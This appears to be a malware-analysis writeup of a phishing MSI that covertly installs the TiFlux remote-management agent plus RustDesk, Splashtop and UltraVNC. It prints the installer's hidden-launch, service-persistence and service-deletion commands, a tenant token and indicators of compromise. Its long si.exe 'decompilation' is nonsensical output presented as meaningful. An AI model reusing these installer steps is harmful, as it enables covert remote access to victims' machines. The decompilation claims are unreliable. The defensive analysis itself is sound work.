← Back to Writeups

BEC Malware: TiFlux MSI / TiAgent RAT Bundle — Full TI Report

For authorized or educational use only. All analysis was performed on a quarantined VM. Hashes, tokens, and IDs in this writeup are pulled from a real sample I caught in the wild during a Business Email Compromise (BEC) — they are published here so other defenders can pivot on them.

Tab 1 — Wed Apr 29, 2026
Report by: Sophia Lopezmssophia@duck.com


Proven — Synopsis

This is a multi-tool remote access trojan bundle disguised as a legitimate TiFlux IT management installer, delivered via BEC. The attacker gets:

  • TiAgent (TiFlux RMM) — primary remote control
  • RustDesk — backup/secondary remote access
  • Splashtop — tertiary remote desktop
  • Persistence via service auto-restart

The si.exe binary has been confirmed through decompilation to be a custom-compiled lure, built under the project name "TiFlux Install Success", designed to display a fake installation success screen to the victim while TiAgent silently registers to the attacker's remote management console in the background.


The Lure: an Evite "you're invited" BEC

The initial vector was a BEC email impersonating an Evite invitation. The body is intentionally vague and the call-to-action funnels the victim onto a desktop browser — exactly the kind of environment where downloading and running an MSI is "normal." Annotated screenshot of the email below.

Annotated BEC Evite phishing lure: vague "a special moment" wording, ALL CAPS social-engineering CTA, and a "for the best experience open this on a desktop or laptop" steer toward a Windows endpoint.Annotated BEC Evite phishing lure: vague "a special moment" wording, ALL CAPS social-engineering CTA, and a "for the best experience open this on a desktop or laptop" steer toward a Windows endpoint.

What stands out in the email itself:

  • "a special moment" — deliberately ambiguous; the recipient supplies the meaning. Classic spear-phishing copy.
  • ALL CAPS button text (CLICK HERE FOR DESKTOP PREVIEW ONLY) — manipulative emphasis that's also an Evite anti-pattern.
  • "For the best experience, we recommend opening this invite on a desktop or laptop." — suspicious because the payload only runs on Windows. Mobile victims would either fail to detonate or notice the file was an MSI immediately.

File Type

strings/file/xxd workflow on the MSI confirming the OLE2 magic bytes D0 CF 11 E0 A1 B1 1A E1.strings/file/xxd workflow on the MSI confirming the OLE2 magic bytes D0 CF 11 E0 A1 B1 1A E1.
Figure 1: Determining what type of file this really is. It is a true MSI file.

A genuine MSI file is actually a Windows Compound Document (OLE2) file. Its magic bytes are:

D0 CF 11 E0 A1 B1 1A E1

→ It is Windows malware.


Strings Output Analysis

Figure 2: String command runlog. Grepped outputs have been saved to TXT files and uploaded to Google Drive.

# Save output for easier grep-ing
strings ~/Downloads/GuestCard_Ti.msi > ~/strings_ascii.txt
strings -el ~/Downloads/GuestCard_Ti.msi > ~/strings_unicode.txt

# Target OS / architecture clues
grep -i "windows\|win32\|win64\|x86\|x64\|arm\|system32\|syswow64" \
  ~/strings_ascii.txt > target_os_clue.txt

# Network indicators
grep -iE "(http|https|ftp|tcp|udp|\.onion|\.ru|\.cn)" \
  ~/strings_ascii.txt > network_indicators.txt

# Registry keys
grep -i "HKEY\|SOFTWARE\|CurrentVersion\|Run\|Startup" \
  ~/strings_ascii.txt > registry_keys.txt

# File system paths
grep -iE "(C:\\\\|%appdata%|%temp%|%programfiles%)" \
  ~/strings_ascii.txt > file_system_paths.txt

# Suspicious API calls / DLLs
grep -iE "(powershell|cmd\.exe|wscript|regsvr32|msiexec|kernel32|advapi32|wininet|ws2_32)" \
  ~/strings_ascii.txt > sus_api_calls_dll.txt

# Credentials / encoding
grep -iE "(base64|password|token|auth|bearer)" \
  ~/strings_ascii.txt > credentials_encoding.txt

network_indicators.txt

All the sectigo.com, comodoca.com, and usertrust.com URLs are code signing certificate infrastructure (CRL/OCSP endpoints).

  • The MSI is digitally signed with a Sectigo certificate.
  • BEC actors commonly purchase or steal legitimate code signing certs to bypass AV/SmartScreen.
  • https://www.tiflux.com.br/ — this is a real Brazilian IT service management platform (help desk / remote access SaaS).

Its presence strongly suggests the malware either impersonates TiFlux, bundles it as a lure, or uses it as a C2/RAT delivery mechanism. TiFlux has legitimate remote agent functionality that malware can abuse.

strings_unicode.txt

  • 0TiFLUX SISTEMA DE GESTA — a truncated Portuguese string meaning "TiFlux Management System."
    This confirms the MSI masquerades as or bundles the TiFlux remote management agent. This is a known BEC/fraud technique in Brazil — threat actors use legitimate RMM tools (like TiFlux, AnyDesk, etc.) as the payload so the "malware" is actually a signed, trusted remote access tool installed without the victim's knowledge.
  • Root Entry, SummaryInformation, DigitalSignature — OLE2/MSI structural strings; confirms a genuine MSI.
  • The rest is binary noise from the OLE2 structure.

strings_ascii.txt — full analysis

Hardcoded attacker credentials / C2 configuration — most critical finding

Buried in the registry strings is this block:

Software\TiFLUX\org_id              → 20651
Software\TiFLUX\client_id           → 2249717
Software\TiFLUX\equipment_group_id  → 2152457
Software\TiFLUX\token               → dddec717-97bb-4066-8a89-575d89ac6252
Software\TiFLUX\host                → agent.tiflux.com
Software\TiFLUX\port                → 443
Software\TiFLUX\ssl                 → true

This is the attacker's TiFlux account/tenant configuration baked directly into the installer. When a victim runs this MSI, the TiFlux agent silently registers to the attacker's TiFlux management console under:

  • org ID 20651, client ID 2249717
  • token dddec717-97bb-4066-8a89-575d89ac6252 — the authentication credential linking the victim's machine to the attacker's panel.
Persistence via Windows Run key
Software\Microsoft\Windows\CurrentVersion\Run\TiAgent

TiAgent is set to autostart on every login for every user (ALLUSERS=1), ensuring the attacker regains access after reboots.

Complete file manifest — what's actually bundled

The strings reveal the full payload.

TiFlux core components:

  • TiAgent.exe — primary RMM agent (C2 to attacker's console)
  • TiService.exe / TiUpdateService.exe — Windows services for persistence
  • si.exe + si.pdb — unknown secondary executable (see below)

UltraVNC — full installation:

  • winvnc.exe, winvnc_xp.exe, uvnc_settings.exe, vncviewer.exe
  • vnchooks.dll, ddengine64.dll, ddengine.dll, SCHook64.dll, SCHook.dll
  • authadmin.dll, ldapauth.dll, authSSP.dll, mslogon.log
  • certmgr.exe, setpasswd.exe, testauth.exe, devcon.exe
  • mv2.dll, mv2.inf, mv2.sys, mv2.catUltraVNC Mirror Driver (screen capture driver)
  • setupdrv.exe — driver installer
  • safemode_reboot.reg, safemode_reboot_xp.reg, sas_generation.reg — registry tweaks for VNC access in safe mode and disabling the CTRL+ALT+DEL Secure Attention Sequence

RustDesk — confirmed by earlier CustomAction strings.
Splashtop Streamer — confirmed by earlier CustomAction strings.
7-Zip: 7z.exe, 7z.dll, 7zCon.sfx, tar.exe — likely used for self-extraction or payload unpacking.

Localization:

  • pt-BR directory — Portuguese (Brazil) locale, confirming Brazilian origin/targeting.
  • en directory — English locale also present.
Service name confirms UltraVNC integration
TiServiceInstaller
TiServiceLocalSystem
cmp4B358B4EF628C5BC13B62E389CBD7221
Ti Service for Communication

The uvnc_service referenced in the CustomAction for removal is UltraVNC's service name — meaning UltraVNC is being managed as part of the TiFlux stack, giving the attacker multiple independent remote access pathways.


Deeper MSI-specific Analysis

Figure 3: msitools used; runlog to list all tables and files inside the MSI.

# Summary metadata, shown in figure 4 below
msiinfo suminfo ~/Downloads/GuestCard_Ti.msi

# Embedded files
msiinfo export ~/Downloads/GuestCard_Ti.msi File \
  > msitools_embedded_files.txt

# Custom actions (HUGE red flag area)
msiinfo export ~/Downloads/GuestCard_Ti.msi CustomAction \
  > msitools_custom_action.txt

# Properties (version, manufacturer, target platform)
msiinfo export ~/Downloads/GuestCard_Ti.msi Property \
  > msitools_properties.txt

# Extract all embedded files/streams
msidump -t -s ~/Downloads/GuestCard_Ti.msi

msiinfo suminfo output for the GuestCard_Ti.msi sample.msiinfo suminfo output for the GuestCard_Ti.msi sample.
Figure 4: Metadata summary.

msitools_properties.txt

PropertyValueSignificance
ManufacturerTiFLUXConfirms the lure identity
ProductNameTi Service And AgentThe displayed install name
ProductVersion2.0.0.82Specific build — useful for VT/threat intel lookup
ALLUSERS1Installs system-wide, not just current user — requires/requests admin rights
REMOTE0Remote flag set to off initially (likely changed post-install by the agent)
cmdcmd.exePre-defines cmd.exe as a property — used heavily in CustomActions
ProductLanguage1033English (US) locale — despite Brazilian origin, targets English-language systems
ProductCode{85526F90-...}Unique installer GUID
UpgradeCode{e45886a1-...}May link to other campaign installers

msitools_custom_action.txt

This reveals exactly what the installer does. Breakdown of each action below.

RegisterCom — Primary Payload Execution
/c start /MIN "" "[TiFLUXDir]\desktop\TiAgent.exe"

Launches TiAgent.exe minimized and hidden. This is the RMM agent that gives the attacker remote access. Type 1650 means it runs with elevated/deferred privileges.

InstallOK — Secondary Executable
/c start /MIN "" "[TiFLUXDir]\si.exe"

si.exe is suspicious — it's not a well-known TiFlux component. This could be a secondary payload, beaconing script, or persistence installer. High priority.

ConfigServiceFailure — Persistence / Resilience
sc failure TiService reset= 86400 actions= restart/30000

Configures the TiFlux service to automatically restart itself 30 seconds after any crash, resetting the failure counter daily. This makes the RAT extremely persistent and hard to kill.

ForceDeleteServices — Competitor / Previous Install Cleanup
reg query "HKLM\SYSTEM\CurrentControlSet\Services\uvnc_service"...
sc stop uvnc_service & sc delete uvnc_service

Checks for and removes UltraVNC if present, but only if it's not already a TiFlux-managed instance. Then kills all TiFlux services before reinstalling. This shows awareness of competing remote access tools and suggests the attacker may be replacing a victim's existing RMM.

UninstallDependencies — Bundled Tools Revealed
wmic product where name="Splashtop Streamer" call uninstall
wmic product where name="timessenger" call uninstall
[TiFLUXDir]dependencies\tipeertopeer\TiPeerToPeer.exe --uninstall
[TiFLUXDir]dependencies\rustdesk\RustDesk.exe --uninstall

This shows the full tool bundle installed:

  • Splashtop Streamer — remote desktop access
  • TiMessenger — TiFlux's chat/comms component
  • TiPeerToPeer — peer-to-peer connectivity (NAT traversal for remote access)
  • RustDesk — open source remote desktop, increasingly used by threat actors as a free AnyDesk alternative

RustDesk's presence is a significant red flag — it's frequently abused in BEC / tech-support fraud because it's free, open source, and harder to block than AnyDesk.

RemoveFolder / RemoveRegistry / RestartServiceOnUpgrade

Standard cleanup actions, but note the registry paths:

HKLM\Software\TiFlux
HKLM\Software\Wow6432Node\TiFLUX

The Wow6432Node path confirms the installer targets 64-bit Windows but includes 32-bit compatibility components.


Hash for Threat Intel Lookup

sha256 hash of the GuestCard_Ti.msi sample, copied for VirusTotal lookup.sha256 hash of the GuestCard_Ti.msi sample, copied for VirusTotal lookup.

VirusTotal — no results for the MSI hash (1/2).VirusTotal — no results for the MSI hash (1/2).

VirusTotal — no results for the MSI hash (2/2).VirusTotal — no results for the MSI hash (2/2).

Nothing found by VirusTotal when searching for the MSI file's hash. That's not surprising — this is a freshly-deployed BEC sample with a legitimate-looking signed MSI wrapper.


The si.exe Binary

si.exe is listed in the File table (filCFD7466713B3D713FA29C77874723709 → si.exe) and its debug symbol file si.pdb is also present. It's embedded inside the MSI cabinet (#cab1.cab), not extracted as a separate IDT file by msidump -t -s.

Figure 5: Figure 5 and 7 runlog.

7z x ~/Downloads/GuestCard_Ti.msi -o/home/parallels/msi_extracted/

# Verify it worked
ls /home/parallels/msi_extracted/

The cabinet is embedded in the Binary/Media streams. 7zip can extract it directly from the MSI.The cabinet is embedded in the Binary/Media streams. 7zip can extract it directly from the MSI.
Figure 6: The cabinet is embedded in the Binary/Media streams. 7zip can extract it directly from the MSI.

7-zip extraction worked. The files are named by their internal MSI hash, not by their original filename.7-zip extraction worked. The files are named by their internal MSI hash, not by their original filename.
Figure 7: Extraction worked. The files are named by their internal MSI hash, rather than by their name. Mapping found from strings below.

From the file table earlier:

filCFD7466713B3D713FA29C77874723709  →  si.exe
filE883D6BD1B9CED657D6E0BCAEF88EBFE  →  TiAgent.exe
fil4EED2659ED447069AAF36545C743C21D  →  si.pdb
fil662091F8265CDF0D6AAAB9D05FAEA15C  →  TiAgent.pdb
filAB2AF6E7E4279EAF0181850F38FC912D  →  TiService.exe
fil13DD80D785801ED0E5D73434DBB9ADA3  →  TiUpdateService.exe

file utility output for si.exe — PE32 .NET assembly, 3 sections, signed.file utility output for si.exe — PE32 .NET assembly, 3 sections, signed.
Figure 8: file analysis of si.exe — PE32 / Mono–.NET assembly, 3 sections.

VirusTotal: si.exe shows 0/71 detections.VirusTotal: si.exe shows 0/71 detections.
Figure 9: The si.exe is NOT flagged as malicious by VirusTotal.

VirusTotal: TiAgent.exe shows 1/70 detections.VirusTotal: TiAgent.exe shows 1/70 detections.
Figure 10: The TiAgent.exe IS flagged as malicious by VirusTotal.

What the si.exe output proves

It's a signed .NET assemblyPE32 executable, Intel i386 Mono/.Net assembly, 3 sections means it was written in C# or VB.NET and compiled with the .NET framework. This is significant because:

  • .NET binaries can be fully decompiled back to near-original source code, unlike native C++ binaries where you only get assembly. This is your next step.
  • The System.ComponentModel, System.CodeDom.Compiler, System.Runtime.CompilerServices strings are .NET framework namespaces embedded in the binary.
  • It's signed with a legitimate Comodo/Thawte certificate — the OCSP/CRL URLs (thawte.com, comodoca.com, symantec.com) are all certificate validation infrastructure. The signing email tiflux@tiflux.com.br means it was signed with TiFlux's actual code signing certificate, which is why 0/71 VirusTotal vendors flag it — it looks completely legitimate to scanners.
  • No shell/download/exec strings — it doesn't contain obvious malicious commands, supporting the theory that it's a launcher or config-injector rather than a standalone RAT.

What the VirusTotal results mean

The 0/71 on si.exe combined with 1/70 on TiAgent.exe is actually the expected result for this attack class. The tools themselves are legitimate — the malice is entirely in how they're deployed and configured (hardcoded attacker credentials, silent install, no victim consent). This is called a LOLB (Living off the Land Binary) or RMM abuse attack, and it deliberately evades AV because no novel malicious code exists.


Decompile si.exe

Figure 11: Binary Ninja at https://dogbolt.org decompiled si.exe (filCFD7466713B3D713FA29C77874723709) well. Analysis below. This is legitimate defensive malware analysis output.

int32_t __convention("regparm") sub_4027c5(char* arg1, char* arg2, char* arg3, int32_t arg4 @ ebp, char* arg5 @ esi, void* arg6 @ edi){
    *arg3 += arg3;
    char* entry_ebx;
    *entry_ebx += arg3;
    *arg3 += arg1;
    arg1[7] += *(&arg2 + 1);
    int16_t ss;
    uint32_t var_4 = ss;
    *arg3 = &arg1[*arg3];
    *arg5 += arg1;
    arg1 += 0x1a;
    *arg3 = &arg1[*arg3];
    *arg3 += *(&arg1 + 1);
    *arg5 += entry_ebx;
    *arg3 = &arg1[*arg3];
    *arg2 += entry_ebx;
    *arg2 += *(&arg1 + 1);
    *arg3 = &arg1[*arg3];
    *0x1012200 += *(&arg3 + 1);
    *(arg1 * 2) += *(&arg2 + 1);
    *arg3;
    arg1 &= *arg3;
    *arg1 = *arg1 + arg1;
    int32_t eflags;
    int16_t temp0;
    temp0 = __arpl_memw_gpr16(*arg5, arg1);
    *arg5 = temp0;
    *arg3 = &arg2[*arg3];
    entry_ebx[1] += arg1;
    char temp3 = arg1;
    arg1 -= *arg3;
    *arg1 = *arg1 + arg1;
    char* eax = arg4;
    *arg5 += *(&arg3 + 1);
    *(eax + 0x20) = &arg2[*(eax + 0x20)];
    *eax += eax;
    *eax += eax;
    char temp0_2 = *eax;
    *eax = entry_ebx;
    entry_ebx = temp0_2;
    __out_immb_al(5, eax, eflags);
    int16_t es;
    uint32_t var_8 = es;
    *arg3 += eax;
    arg5[0x20] += entry_ebx;
    *eax += eax;
    *eax += eax;
    *eax += 0x1320416;
    *eax = &eax[*eax];
    *eax &= eax;
    *eax += eax;
    *(&eax + 1) += eax;
    char temp5 = arg5[1];
    arg5[1] += *(&arg2 + 1);
    char* eax_1 = eax - 0x77fffd00;
    *eax_1 &= eax_1;
    *eax_1 += eax_1;
    arg3[0x607f400] += eax_1;
    *(eax_1 * 2) += eax_1;
    entry_ebx = 0x24;
    *eax_1 += eax_1;
    *eax_1 += eax_1;
    *(arg6 + 4) += *(&eax_1 + 1);
    int32_t eflags_1;
    int32_t eip;
    eip = __into(eflags);
    *(arg3 * 2) += arg3;
    /* undefined */
}

int32_t __convention("regparm") sub_403a1c(int32_t* arg1, int32_t arg2, char* arg3, void* arg4 @ ebp, char* arg5 @ esi, int32_t* arg6 @ edi, int32_t arg7, int32_t arg8, int32_t arg9, int32_t arg10){
    *arg1 += arg1;
    *arg1 += arg1;
    int16_t ecx = arg1;
    *arg3 += arg3;
    int32_t entry_ebx;
    char temp1 = *(entry_ebx + (arg2 << 1) + 0x79);
    *(entry_ebx + (arg2 << 1) + 0x79) += *(&ecx + 1);
    bool c = temp1 + *(&ecx + 1) < temp1;
    bool z = temp1 == -(*(&ecx + 1));
    int32_t eflags;
    int32_t* esp;
    if (!c) {
        if (!z) {
            label_403b11:
            char* cs;
            *(cs + arg5) ^= *(&ecx + 1);
            label_403b14:
            *arg5 ^= *(&ecx + 1);
            *arg3;
            *arg3 ^= *(&ecx + 1);
            if (entry_ebx != 0xffffffff) {
                label_403b88:
                int32_t temp4_1 = arg2;
                arg2 += 1;
                *(arg4 * 3 + 0x61);
                arg5 = *(arg4 * 3 + 0x61) * 0x53202c70;
                bool c_1 = /* unimplemented  { imul esi, dword [ebp+ebp*2+0x61], 0x53202c70 } */;
                if (temp4_1 + 1 < 0) {
                    if (temp4_1 != 0xffffffff) {
                        int32_t* edi_5;
                        int32_t temp0_8;
                        temp0_8 = __insd(arg6, arg2, eflags);
                        *edi_5 = temp0_8;
                        if (c_1)        /* jump -> 0x403bfc */
                                        /* jump -> 0x403b9b */
                    }
                    arg5 = __outsd(arg2, *arg5, arg5, eflags);
                    *(arg3 * 2 + 0x65) += *(&arg2 + 1);
                    *arg6 += entry_ebx + 1;
                    TEB* fsbase;
                    *(fsbase + arg4) += *(&arg3 + 1);
                }
            } else if (entry_ebx != 0xffffffff) {
                if (arg3 >= 0x7475656e)
                    /* jump -> "l, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceS" */
                                goto label_403b88;
            }
            int32_t eax_3 = *arg3 * 0x74;
            *arg6 += *(&ecx + 1);
            char* edi_6 = *esp;
            *arg5 += *(&arg2 + 1);
            *edi_6 += entry_ebx + 1;
            char* eax_5 = eax_3 ^ *eax_3 ^ 0x3000;
            *eax_5 += eax_5;
            *eax_5 += eax_5;
            *eax_5 = &eax_5[*eax_5];
            *eax_5 += eax_5;
            /* undefined */
        }
        label_403a9f:
        int16_t temp0_4;
        temp0_4 = __arpl_memw_gpr16(*(arg4 + 0x73), esp);
        *(arg4 + 0x73) = temp0_4;
        *(esp - 4) = arg2;
        esp -= 4;
        label_403aa4:
                if (!z) goto label_403b14;
        if (z) goto label_403b11;
        int32_t* edi_1;
        int32_t temp0_5;
        temp0_5 = __insd(arg6, arg2, eflags);
        *edi_1 = temp0_5;
        label_403aa9:
        *(esp - 4) = arg2;
        if (!c) {
            if (!z)        /* jump -> 0x403b91 */
                          /* jump -> 0x403b1f */
                          /* "e=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceS" */
        }
    } else {
        int32_t temp0_1;
        temp0_1 = __insd(arg6, arg2, eflags);
        *arg6 = temp0_1;
        int32_t var_4 = arg2;
        esp = &var_4;
        if (!c) goto label_403a9f;
        if (!z) goto label_403aa4;
        int32_t eflags_1;
        int16_t temp0_2;
        temp0_2 = __arpl_memw_gpr16(*(arg4 + 0x73), &var_4);
        *(arg4 + 0x73) = temp0_2;
        int32_t var_8 = arg2;
        esp = &var_8;
        if (!c) goto label_403aa9;
        if (z) {
            int32_t eflags_2;
            int16_t temp0_3;
            temp0_3 = __arpl_memw_gpr16(*(arg4 + 0x52), &var_8);
            *(arg4 + 0x52) = temp0_3;
            if (c)
                /* jump -> " PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceS" */
                /* jump -> " mscorlib, Version=4.0.0.0, Culture=neutral, "
                            "PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceS" */
        }
    }
    if (!z)
        /* jump -> 0x403b22 */
        /* "eutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceS" */
        /* jump -> 0x403ab0 */
}

int32_t __convention("regparm") sub_403ad4(int32_t* arg1, int32_t arg2, char* arg3, void* arg4 @ ebp, int32_t arg5 @ edi){
    *arg1 += arg1;
    *arg1 += arg1;
    *arg3 += arg3;
    int32_t entry_ebx;
    char temp1 = *(entry_ebx + (arg2 << 1) + 0x79);
    *(entry_ebx + (arg2 << 1) + 0x79) += *(&arg1 + 1);
    bool c = temp1 + *(&arg1 + 1) < temp1;
    bool z = temp1 == -(*(&arg1 + 1));
    int32_t* esp;
    if (c) {
        int32_t eflags;
        int32_t* edi;
        int32_t temp0_1;
        temp0_1 = __insd(arg5, arg2, eflags);
        *edi = temp0_1;
        int32_t var_4 = arg2;
        esp = &var_4;
        if (c) {
            if (!z)
                /* jump -> 0x403b5c */  /* "untimeResourceS" */
                /* jump -> "ces.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, "
                          "PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceS" */
        }
    } else if (!z) {
        if (entry_ebx - 1 < 0) /* jump -> 0x403bcd */
        *arg1 += &arg3[1];
        arg3[1] += &arg3[1];
        int16_t ebx;
        *(&ebx + 1) = *(&(entry_ebx - 1) + 1) * 2;
        /* undefined */
    }
    int32_t eflags_1;
    int16_t temp0_2;
    temp0_2 = __arpl_memw_gpr16(*(arg4 + 0x73), esp);
    *(arg4 + 0x73) = temp0_2;
    *(esp - 4) = arg2;
    if (!z)
        /* jump -> 0x403bcc */
        /* jump -> "timeResourceS" */
}

int32_t __convention("regparm") sub_403b60(char* arg1, int32_t arg2, char* arg3, void* arg4 @ ebp, char* arg5 @ esi, int32_t arg6 @ edi){
    int32_t eflags;
    int16_t* edi_1;
    int16_t temp0_1;
    temp0_1 = __insd(arg6, arg2, eflags);
    *edi_1 = temp0_1;
    int32_t var_4 = arg2;
    bool c;
    if (!c) {
        arg1 ^= 0x3766;
        *arg3 ^= arg5;
    } else {
        bool z;
        if (z) {
            int32_t eflags_1;
            int16_t temp0;
            temp0 = __arpl_memw_gpr16(*(arg4 + 0x53), &var_4);
            *(arg4 + 0x53) = temp0;
            if (!z) *arg1 += arg1;
            *arg3 += arg1;
            *arg1 += arg1;
            *arg3 += arg1;
            *arg1 += arg1;
            char temp1 = arg1[0x53];
            arg1[0x53] += *(&arg3 + 1);
            if (temp1 + *(&arg3 + 1) >= 0)
                /* jump -> 0x403bf0 */
                /* jump -> 0x403b7d */
        }
        *arg3 ^= arg5;
    }
    char* eax = arg1 ^ 0x61336130;
    char* var_8 = eax;
    char* var_b = eax;
    eax = *arg5;
    uint16_t* esi = &arg5[1];
    eax = *0xd719;
    *eax += eax;
    *eax = &eax[*eax];
    *eax += *(&&arg3[2] + 1);
    char* gsbase;
    *(gsbase + arg4) += *(&&arg3[2] + 1);
    char* esi_1 = __outsd(arg2, *esi, esi, eflags);
    *(eax * 2 + 0x65) += *(&arg2 + 1);
    char entry_ebx;
    *edi_1 += entry_ebx;
    TEB* fsbase;
    *(fsbase + arg4) += *(&eax + 1);
    int32_t eax_1 = *eax * 0x74;
    *edi_1 += *(&&arg3[2] + 1);
    *esi_1 += *(&arg2 + 1);
    arg3[2] += entry_ebx;
    char* eax_3 = eax_1 ^ *eax_1 ^ 0x3000;
    *eax_3 += eax_3;
    *eax_3 += eax_3;
    *eax_3 = &eax_3[*eax_3];
    *eax_3 += eax_3;
    /* undefined */
}

int32_t __convention("regparm") sub_403e66(int32_t arg1, uint16_t arg2, int32_t arg3, int32_t* arg4 @ ebp, int32_t* arg5 @ esi, int32_t* arg6 @ edi){
    int32_t eflags;
    int32_t eflags_1 = __sti(eflags);
    __out_dx_oeax(arg2, arg1, eflags_1);
    int32_t* var_3;
    int32_t* eax_1;
    int32_t edx;
    bool c;
    bool s;
    if (s) {
        void* eax;
        eax = 0xd9b52bb1();
        eax = __in_al_immb(0x82, eflags_1);
        int32_t temp3_1 = *(eax - 0x46);
        *(eax - 0x46) += (&var_3 + 3);
        c = temp3_1 + (&var_3 + 3) < temp3_1;
        while (true) {
            void* esp;
            *(esp - 4) = 0xffffff96;
            label_403e82:
            eax_1 = __in_al_dx(edx, eflags_1);
            if (!c) break;
            int32_t* esp_1 = arg4;
            arg4 = *esp_1;
            esp = &esp_1[1];
            edx -= 1;
        }
        *(&edx + 1) <<= arg3;
        if (*(&edx + 1))    /* jump -> 0x403e94 */
                            /* jump -> 0x403e89 */
    }
    bool c_1 = arg1 < 0xbd9240e4;
    char* eax_4;
    eax_4 = *0xa5c138bb;
    char temp2_1 = arg4[0x124fc93c];
    arg4[0x124fc93c] = temp2_1 - 0x30;
    int32_t eflags_2;
    void* entry_ebx;
    if (!arg3) {
        uint16_t temp0_2;
        temp0_2 = __arpl_gpr16_gpr16((arg5 - 1), (&__return_addr + 1));
        void* esi;
        esi = temp0_2;
        edx = 0x71 ^ *(&entry_ebx + 1);
        c = false;
        if ((0x71 ^ *(&entry_ebx + 1)) < 0) goto label_403e82;
        eax_1 = arg6 & 0x1f;
        *eax_1 = *eax_1 - eax_1;
        var_3 = eax_1;
        int32_t var_7_1 = arg3;
        int32_t var_b_1 = edx;
        void* var_f = entry_ebx;
        void** var_13_1 = &var_f;
        int32_t* var_17_1 = arg4;
        void* var_1b_1 = esi;
        char* var_1f_1 = eax_4;
        eax_1 = *0xb446a091;
        *eax_4 = *eax_1;
        arg5 = eax_1 + 1;
        *0x74a90134 = 0x67;
        __int1();
        *0x9ba56693 = esi;
        __out_immb_al(0x96, esi, eflags_1);
        *arg5;
        int16_t ds;
        *0x74a90130 = ds;
        eax_1 = esi + 0x267b0ec8;
        int16_t temp0_4;
        temp0_4 = __arpl_memw_gpr16(*(arg5 + 0x2f), edx);
        *(arg5 + 0x2f) = temp0_4;
    } else {
        if (temp2_1 - 0x30 >= temp2_1 && (!c_1 || temp2_1 - 0x30 != temp2_1))
            /* undefined */
            __fldenv_memmem28(*(entry_ebx + 0x56));
        char temp0_5;
        temp0_5 = __das(arg6, eflags_1);
        eax_1 = temp0_5;
    }
    int32_t eflags_3;
    char temp0_6;
    char temp1_1;
    temp0_6 = __aas(eax_1, *(&eax_1 + 1), eflags_2);
    eax_1 = temp0_6;
    *(&eax_1 + 1) = temp1_1;
    *arg5;
    /* jump -> 0x403eb2 */
}

int32_t __convention("regparm") sub_406343(int32_t arg1, void* arg2, void* arg3, void** arg4 @ ebp, int32_t arg5 @ esi, int32_t* arg6 @ edi, int64_t arg7 @ st7, long double arg8 @ st0, long double arg9 @ st1){
    __paddusw_mmxq_memq(arg7, *(arg3 + 0x638bf093));
    char* esi = arg5 - 1;
    *(&arg2 + 1) = 7;
    arg2 = 0x71;
    int32_t result;
    void* const entry_ebx;
    void* edi;
    bool p_1;
    bool z_1;
    bool o_1;
    if (arg3 != 1) {
        bool c;
        result = RRCD(arg1, 1, c);
        *(entry_ebx - 0x1794449f) = RRCB(*(entry_ebx - 0x1794449f), 1, arg1 & 1);
        int32_t temp3_1 = *arg6;
        p_1 = /* p_1 = unimplemented  { scasd dword [edi] } */;
        z_1 = result == temp3_1;
        o_1 = result + -(temp3_1);
        edi = 0x954b7930;
        goto label_4063a2;
    }
    void* ecx;
    if (arg5 != 1 && ecx != 1) {
        *(&entry_ebx + 1) = 0x55;
        goto label_40637a;
    }
    *(esi - 0x33);
    edi = &arg6[1];
    void** esp_2 = arg4;
    arg4 = *esp_2;
    int32_t eflags;
    int32_t eip_1;
    eip_1 = __into(eflags);
    result = arg1 + 0x12fb8a40;
    *esp_2 = &esp_2[1];
    *(esp_2 - 4) = edi;
    void** esp = esp_2 - 4;
    int32_t gsbase;
    *(gsbase + arg4 - 0x37);
    *(gsbase + arg4 - 0x37) = arg3 - 2;
    while (true) {
        int80_t x87_r7_1 = *(result + 0x23573b8d);
        esi = *esp;
        *edi;
        void* edi_3;
        bool d;
        edi_3 = d ? edi - 4 : edi + 4;
        *esi;
        int32_t ecx_5 = *(arg2 + 0x35c1fd00) * 0x3bd4737c;
        __out_immb_al(0x34, result, eflags);
        x87_r7_1 - *(entry_ebx * 9);
        d = TEST_BITD(esp[1], 0xa);
        if (d) {
            *(edi_3 + 1) = result;
            arg6 = edi_3 - 3;
        } else {
            *(edi_3 + 1) = result;
            arg6 = edi_3 + 5;
        }
        char temp0_5;
        temp0_5 = __daa(result, eflags);
        result = temp0_5;
        int16_t es_1;
        result = __les_gprz_memp(*(entry_ebx + 0xf27ad3a));
        *(esp + 7);
        esp += 9;
        arg6[-0x1a09fae8] = esi;
        arg2 ^= entry_ebx;
        if (ecx_5 == 1) {
            *esi = *esi + 0x39;
            o_1 = /* o_1 = unimplemented  { sbb byte [esi], 0xc7 } */;
            int16_t temp0_6;
            temp0_6 = __arpl_memw_gpr16(arg4[-0x1d], esi);
            arg4[-0x1d] = temp0_6;
            break;
        }
        arg2 = 0x92b7f4ed();
        label_40637a:
        arg6[0x1f] |= esi;
        int32_t eax = __in_oeax_immb(0xe7, eflags);
        *(arg2 - 0x2e5eb148) = &esi[*(arg2 - 0x2e5eb148)];
        o_1 = eax + -(*arg6);
        p_1 = TEST_BITB(*(&eax + 1), 2);
        z_1 = TEST_BITB(*(&eax + 1), 6);
        edi = *esp;
        esp[1];
        int32_t result_1 = esp[2];
        esp[5];
        esp[6];
        esp[7];
        esp = &esp[8];
        entry_ebx = 0xcf3de86b;
        void** eax_2;
        eax_2 = 0x310012f0();
        if (!TEST_BITB(*(&eax + 1), 7))    /* jump -> sub_4063a6+0x46 */
        arg4 = eax_2;
        result = result_1;
        label_4063a2:
        if (!o_1) {
            if (!z_1) {
                if (p_1)        /* jump -> 0x4062cd */
                *0xe23bc47a <<= 0x20;
                __in_oeax_dx(arg2, eflags);
                0x707fa2aa();
                __int1();
                /* undefined */
            }
            label_40633f:
            if (o_1) { __int1(); return result; }
            int32_t eax_4 = result ^ 0x7bdb39fc;
            bool cond:1 = eax_4 >= 0;
            int32_t eflags_1;
            char temp0_3;
            char temp1_1;
            temp0_3 = __aaa(eax_4, *(&eax_4 + 1), eflags);
            eax_4 = temp0_3;
            *(&eax_4 + 1) = temp1_1;
            if (cond:1)        /* jump -> 0x40627a */
                                /* jump -> 0x4062ee */
        }
    }
    goto label_40633f;
}

